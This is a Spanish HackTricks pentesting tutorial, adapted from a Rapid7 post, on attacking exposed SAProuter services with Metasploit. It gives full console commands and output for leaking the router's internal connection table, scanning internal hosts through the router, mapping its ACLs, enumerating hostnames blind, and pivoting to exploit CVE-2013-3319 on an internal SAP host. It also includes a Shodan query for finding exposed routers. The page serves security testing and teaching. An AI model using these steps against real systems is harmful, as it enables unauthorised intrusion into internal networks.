Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-23 05:03:35 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/network-services-pentesting/3299-pentesting-saprouter.md

21 KiB
Raw Blame History

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Copia de: https://blog.rapid7.com/2014/01/09/piercing-saprouter-with-metasploit/

PORT     STATE SERVICE    VERSION
3299/tcp open  saprouter?

Atravesando SAProuter con Metasploit

SAProuter es básicamente un proxy inverso para sistemas SAP, que generalmente se encuentra entre Internet y los sistemas SAP internos. Su principal propósito es permitir el acceso controlado desde hosts en Internet a los sistemas SAP internos, ya que permite un control más detallado de los protocolos SAP que un firewall típico.

Esto significa que SAProuter usualmente termina estando expuesto a Internet, al permitir el puerto TCP entrante 3299 al host de SAProuter en los firewalls de la organización. Y desde el SAProuter, al menos debería ser posible alcanzar un servidor SAP interno. Esto lo convierte en un objetivo muy interesante, ya que puede proporcionar una vía de acceso a la red de "alto valor".

La siguiente figura muestra una configuración de red básica, que utilizaremos para los ejemplos:

Primero comenzaremos realizando un escaneo de servicio SAP de la dirección IP expuesta, utilizando el módulo sap_service_discovery, en este caso, 1.2.3.101.

msf> use auxiliary/scanner/sap/sap_service_discovery
msf auxiliary(sap_service_discovery) > set RHOSTS 1.2.3.101
RHOSTS => 1.2.3.101
msf auxiliary(sap_service_discovery) > run

[*] [SAP] Beginning service Discovery '1.2.3.101'

[+] 1.2.3.101:3299      - SAP Router OPEN
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

El escaneo nos muestra que el host está ejecutando un SAP router en el puerto TCP 3299 esperado. Ahora podemos profundizar e intentar obtener información del saprouter. Si ha sido configurado incorrectamente, y a menudo lo está, podría ser posible obtener información interna, como las conexiones establecidas a través del saprouter con hosts internos. Para este propósito utilizamos el módulo sap_router_info_request:

msf auxiliary(sap_router_info_request) > use auxiliary/scanner/sap/sap_router_info_request
msf auxiliary(sap_router_info_request) > set RHOSTS 1.2.3.101
RHOSTS => 1.2.3.101
msf auxiliary(sap_router_info_request) > run

[+] 1.2.3.101:3299 - Connected to saprouter
[+] 1.2.3.101:3299 - Sending ROUTER_ADM packet info request
[+] 1.2.3.101:3299 - Got INFO response
[+] Working directory   : /opt/sap
[+] Routtab             : ./saprouttab

[SAP] SAProuter Connection Table for 1.2.3.101
===================================================

Source        Destination   Service
------        -----------   -------
1.2.3.12      192.168.1.18  3200


[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Enumeración de hosts y servicios internos

Con esta información, ahora podemos comenzar a escanear la red interna. Dado que saprouter funciona como un proxy, intentaremos conectarnos a él y solicitar conexiones a hosts y puertos internos, y ver las respuestas de saprouter. Esto puede proporcionar más información sobre los hosts internos, servicios y ACLs, dependiendo de la configuración del saprouter. Utilizaremos el módulo sap_router_portscanner para este propósito.

El módulo se conecta al saprouter y solicita conexiones a otros hosts definidos en la opción TARGETS en puertos TCP específicos. Luego analiza las respuestas y determina si la conexión solicitada es posible o no. Este módulo proporciona algunas opciones que se pueden utilizar:

Basic options:
Name         Current Setting  Required  Description
----         ---------------  --------  -----------
CONCURRENCY  10               yes       The number of concurrent ports to check per host
INSTANCES    00-99            no        SAP instance numbers to scan (NN in PORTS definition)
MODE         SAP_PROTO        yes       Connection Mode: SAP_PROTO or TCP  (accepted: SAP_PROTO, TCP)
PORTS        32NN             yes       Ports to scan (e.g. 3200-3299,5NN13)
RESOLVE      local            yes       Where to resolve TARGETS (accepted: remote, local)
RHOST                         yes       SAPRouter address
RPORT        3299             yes       SAPRouter TCP port
TARGETS                       yes       Comma delimited targets. When resolution is local address ranges or CIDR identifiers allowed.

Al menos deberás establecer la dirección IP del saprouter, en el caso del ejemplo, 1.2.3.101. Luego, configura TARGETS con las direcciones de la red interna que te gustaría escanear, y finalmente establece PORTS con los puertos TCP a escanear.

El módulo también proporciona una opción INSTANCES que permite simplificar la definición de la opción PORTS. Las instalaciones de SAP admiten múltiples instancias, proporcionando servicios similares, por lo que a cada instancia se le asignan puertos TCP. Por ejemplo, la instancia SAP 00 tendrá el servicio de despachador SAP donde se conecta SAP GUI en el puerto 3200 y la instancia 01 en el puerto 3201. La opción PORTS admite un "comodín" que es "NN" que se reemplazará con el número de instancia, por lo tanto, escaneando puertos para todas las instancias definidas. Entonces, si queremos escanear instancias del 00 al 50, podemos definir las variables INSTANCES y PORTS de esta manera:

msf auxiliary(sap_router_portscanner) > set INSTANCES 00-50
INSTANCES => 00-01
msf auxiliary(sap_router_portscanner) > set PORTS 32NN
PORTS => 32NN

Con esta configuración, el módulo escaneará los puertos en el rango de 3200 a 3250.

En el código fuente del módulo tienes información sobre los puertos predeterminados comunes en sistemas SAP, que ahora utilizaremos para el escaneo:

msf > use auxiliary/scanner/sap/sap_router_portscanner
msf auxiliary(sap_router_portscanner) > use auxiliary/scanner/sap/sap_router_portscanner
msf auxiliary(sap_router_portscanner) > set RHOST 1.2.3.101
RHOST => 1.2.3.101
msf auxiliary(sap_router_portscanner) > set TARGETS 192.168.1.18
TARGETS => 192.168.1.18
msf auxiliary(sap_router_portscanner) > set INSTANCES 00-01
INSTANCES => 00-01
msf auxiliary(sap_router_portscanner) > set PORTS 32NN,33NN,48NN,80NN,36NN,81NN,5NN00-5NN19,21212,21213,59975,59976,4238-4241,3299,3298,515,7200,7210,7269,7270,7575,39NN,3909,4NN00,8200,8210,8220,8230,4363,4444,4445,9999,3NN01-3NN08,3NN11,3NN17,20003-20007,31596,31597,31602,31601,31604,2000-2002,8355,8357,8351-8353,8366,1090,1095,20201,1099,1089,443NN,444NN
PORTS => 32NN,33NN,48NN,80NN,36NN,81NN,5NN00-5NN19,21212,21213,59975,59976,4238-4241,3299,3298,515,7200,7210,7269,7270,7575,39NN,3909,4NN00,8200,8210,8220,8230,4363,4444,4445,9999,3NN01-3NN08,3NN11,3NN17,20003-20007,31596,31597,31602,31601,31604,2000-2002,8355,8357,8351-8353,8366,1090,1095,20201,1099,1089,443NN,444NN
msf auxiliary(sap_router_portscanner) > run

[*] Scanning 192.168.1.18
[!] Warning: Service info could be inaccurate

Portscan Results
================

Host           Port   State   Info
----           ----   -----   ----
192.168.1.18   3201   closed  SAP Dispatcher sapdp01
192.168.1.18   3200   open    SAP Dispatcher sapdp00
192.168.1.18   50013  open    SAP StartService [SOAP] sapctrl00

[*] Auxiliary module execution completed

Podemos intentar entender por qué algunas conexiones no están permitidas a través del saprouter utilizando la opción VERBOSE. Cuando VERBOSE está configurado en true, podemos ver la respuesta del saprouter y mapear la ACL definida.

Ahora escanearemos los hosts 192.168.1.18 y 192.168.1.1, pero solo en el puerto 3200, para ver si podemos conectarnos a ambos despachadores SAP:

msf auxiliary(sap_router_portscanner) > set VERBOSE true
VERBOSE => true
msf auxiliary(sap_router_portscanner) > set TARGETS 192.168.1.1,192.168.1.18
TARGETS => 192.168.1.1,192.168.1.18
msf auxiliary(sap_router_portscanner) > set PORTS 32NN
PORTS => 32NN
msf auxiliary(sap_router_portscanner) > run

[*] Scanning 192.168.1.18
[+] 192.168.1.18:3200 - TCP OPEN
[!] Warning: Service info could be inaccurate

Portscan Results
================

Host          Port  State   Info
----          ----  -----   ----
192.168.1.18  3200  open  SAP Dispatcher sapdp00

[*] Scanning 192.168.1.1
[-] 192.168.1.1:3200 - blocked by ACL
[!] Warning: Service info could be inaccurate
[*] Auxiliary module execution completed

Como puede ver, ahora también sabemos que no podemos conectarnos a otro host en el puerto 3200, ya que está bloqueado por la ACL definida en el saprouter.

Mapeando las ACLs

Un aspecto interesante del saprouter es que admite dos tipos de conexiones:

  • Nativa – Estas conexiones son simplemente conexiones TCP;
  • Protocolo SAP – Estas son conexiones TCP con un giro, el protocolo establece que todos los mensajes comienzan con 4 bytes que indican la longitud del contenido siguiente.

El protocolo SAP es específico para saprouter y es lo que SAP GUI utiliza para conectarse al puerto SAP DIAG a través del saprouter. El protocolo nativo se utiliza para permitir que otros tipos de conexiones pasen a través del saprouter.

Este módulo permite especificar qué tipo de conexión probar durante el escaneo en la opción MODE. El valor predeterminado es el protocolo SAP, que es el más probable de ser utilizado en producción. Sin embargo, no es raro encontrar otros servicios permitidos a través del saprouter, donde la ACL permitirá conexiones nativas TCP a través.

Podemos establecer el MODE en TCP para evaluar si este tipo de conexiones están permitidas. Ahora escanearemos los hosts internos, tanto en el puerto 3200 SAP DIAG como en el 80 HTTP, con VERBOSE establecido en true, en ambas instancias 00 y 01 y veremos qué sucede:

msf auxiliary(sap_router_portscanner) > set MODE TCP
MODE => TCP

msf auxiliary(sap_router_portscanner) > set PORTS 80,32NN
PORTS => 80,32NN
msf auxiliary(sap_router_portscanner) > set INSTANCES 00-01
INSTANCES => 00-01
msf auxiliary(sap_router_portscanner) > run

[*] Scanning 192.168.1.18
[+] 192.168.1.18:80 - TCP OPEN
[-] 192.168.1.18:3200 - blocked by ACL
[+] 192.168.1.18:3201 - TCP OPEN
[!] Warning: Service info could be inaccurate

Portscan Results
================

Host          Port  State  Info
----          ----  -----  ----
192.168.1.18  80    open
192.168.1.18  3201  open   SAP Dispatcher sapdp01

[*] Scanning 192.168.1.1
[-] 192.168.1.1:3200 - blocked by ACL
[+] 192.168.1.1:3201 - TCP OPEN
[+] 192.168.1.1:80 - TCP OPEN
[!] Warning: Service info could be inaccurate

Portscan Results
================

Host         Port  State  Info
----         ----  -----  ----
192.168.1.1  3201  open   SAP Dispatcher sapdp01
192.168.1.1  80    open

[*] Auxiliary module execution completed

Del resultado y la información previa, ahora sabemos que la ACL es algo así:

  • Permitir conexiones TCP de cualquier host a 192.168.1.1 al puerto 80
  • Permitir conexiones TCP de cualquier host a 192.168.1.18 al puerto 80
  • Permitir conexiones TCP de cualquier host a 192.168.1.1 al puerto 3201
  • Permitir conexiones TCP de cualquier host a 192.168.1.18 al puerto 3201
  • Permitir conexiones SAP de cualquier host a 192.168.1.18 al puerto 3200

Enumeración ciega de hosts internos

Si recuerdas, comenzamos obteniendo información del saprouter que nos permitió conocer la dirección IP de un host interno, y a partir de ahí continuamos. Pero, ¿qué pasa si el saprouter no nos proporciona esa información?

Una opción es simplemente comenzar a escanear espacios de direcciones privadas y ver qué sucede. La otra es enumerar ciegamente los hosts por nombre de host.

Los saprouters son capaces de resolver nombres de host que les solicitamos conectar. El saprouter también es lo suficientemente amable para hacernos saber cuáles son los errores cuando falla en conectar puedes ver las respuestas crudas descomentando la línea 242 en el código fuente del módulo.

Con esta característica, somos capaces de enumerar hosts internos por nombre de host, ¡e intentar ir directamente a lo más valioso!

Para esto, necesitamos configurar la opción RESOLVE a "remote". En este caso, el módulo solicitará conexión a los TARGETS definidos, sin resolverlos localmente, y podemos intentar adivinar los hosts internos, y eventualmente conectar a ellos sin conocer nunca sus direcciones IP.

Cosas importantes para recordar al enumerar ciegamente hosts:

  • Configurar VERBOSE en true;
  • Obtendremos más información del saprouter si MODE está configurado en SAP_PROTO;
  • Es suficiente configurar solo un puerto para escanear, ya que en este punto solo nos interesa la información enviada por el saprouter prueba con 3200;
  • Los resultados variarán dependiendo de la ACL configurada. Desafortunadamente, las conexiones bloqueadas no nos darán mucha información.

En este ejemplo intentaremos con los nombres de host sap, sapsrv y sapsrv2.

msf auxiliary(sap_router_portscanner) > set RESOLVE remote
RESOLVE => remote
msf auxiliary(sap_router_portscanner) > set MODE SAP_PROTO
MODE => SAP_PROTO
msf auxiliary(sap_router_portscanner) > set VERBOSE true
VERBOSE => true
msf auxiliary(sap_router_portscanner) > set TARGETS sap,sapsrv,sapsrv2
TARGETS => sap,sapsrv,sapsrv2
msf auxiliary(sap_router_portscanner) > set PORTS 3200
PORTS => 3200
msf auxiliary(sap_router_portscanner) > run

[*] Scanning sap
[-] sap:3200 - unknown host
[!] Warning: Service info could be inaccurate
[*] Scanning sapsrv
[-] sapsrv:3200 - host unreachable
[!] Warning: Service info could be inaccurate
[*] Scanning sapsrv2
[+] sapsrv2:3200 - TCP OPEN
[!] Warning: Service info could be inaccurate

Portscan Results
================

Host     Port  State  Info
----     ----  -----  ----
sapsrv2  3200  open   SAP Dispatcher sapdp00

[*] Auxiliary module execution completed

Del resultado observamos que el host "sap" no existe, pero el host sapsrv sí, aunque es inaccesible, y sapsrv2 existe y podemos conectarnos al puerto 3200.

Esta técnica también se puede utilizar para intentar encontrar otros hosts en la red, no relacionados con SAP, simplemente intenta usar nombres de host comunes, como smtp, exchange, pdc, bdc, fileshare, intranet, o cualquier otro nombre de host interesante que puedas tener en tu bolsa de trucos.

La última milla

Ahora que hemos obtenido toda esta información, conocemos los hosts internos disponibles, qué servicios están permitidos y qué protocolos podemos usar para atravesar el saprouter, podemos conectarnos realmente a servidores internos y proceder con nuestro pentest.

Metasploit nos proporciona una forma impresionante de usar saprouter como un proxy, utilizando la opción Proxies, gracias a Dave Hartley (@nmonkee).

Así que en este punto, queremos comenzar a recopilar información sobre el servidor sap interno que hemos descubierto en el host 192.168.1.18. Como ejemplo, utilizaremos el módulo sap_hostctrl_getcomputersystem que explota CVE-2013-3319 y nos da detalles sobre el sistema operativo en el que se ejecuta el servidor consultando el servicio SAP Host Control en el puerto 1128 a través de una solicitud SOAP no autenticada. Estaremos pivotando a través del saprouter, utilizando el soporte de proxy en metasploit:

msf auxiliary(sap_router_portscanner) > use auxiliary/scanner/sap/sap_hostctrl_getcomputersystem
msf auxiliary(sap_hostctrl_getcomputersystem) > set Proxies sapni:1.2.3.101:3299
Proxies => sapni:1.2.3.101:3299
msf auxiliary(sap_hostctrl_getcomputersystem) > set RHOSTS 192.168.1.18
RHOSTS => 192.168.1.18
msf auxiliary(sap_hostctrl_getcomputersystem) > run

[+] 192.168.1.18:1128 - Information retrieved successfully
[*] 192.168.1.18:1128 - Response stored in /Users/msfusr/.msf4/loot/20140107180827_default_192.168.1.18_sap.getcomputers_386124.xml (XML) and /Users/msfusr/.msf4/loot/20140107180827_default_192.168.1.18_sap.getcomputers_186948.txt (TXT)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Si todo salió bien, tendrás una buena salida del módulo en el botín que contiene información interna interesante del host SAP objetivo como nombres de usuario internos que luego puedes intentar forzar bruscamente.

El pivoteo puede ¡y debería! usarse para ejecutar otros módulos contra hosts internos, ¡no solo sistemas SAP!

Conclusión

Hemos visto cómo es posible explotar configuraciones débiles de saprouter que pueden permitir el acceso a hosts internos desde Internet, todo esto utilizando solo el soporte de metasploit para pentesting de sistemas SAP.

Espero que este artículo pueda ayudar a arrojar luz sobre los riesgos asociados con las implementaciones de saprouter, así como sobre la seguridad de SAP en general.

Referencias

Shodan

  • port:3299 !HTTP Network packet too big
Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks: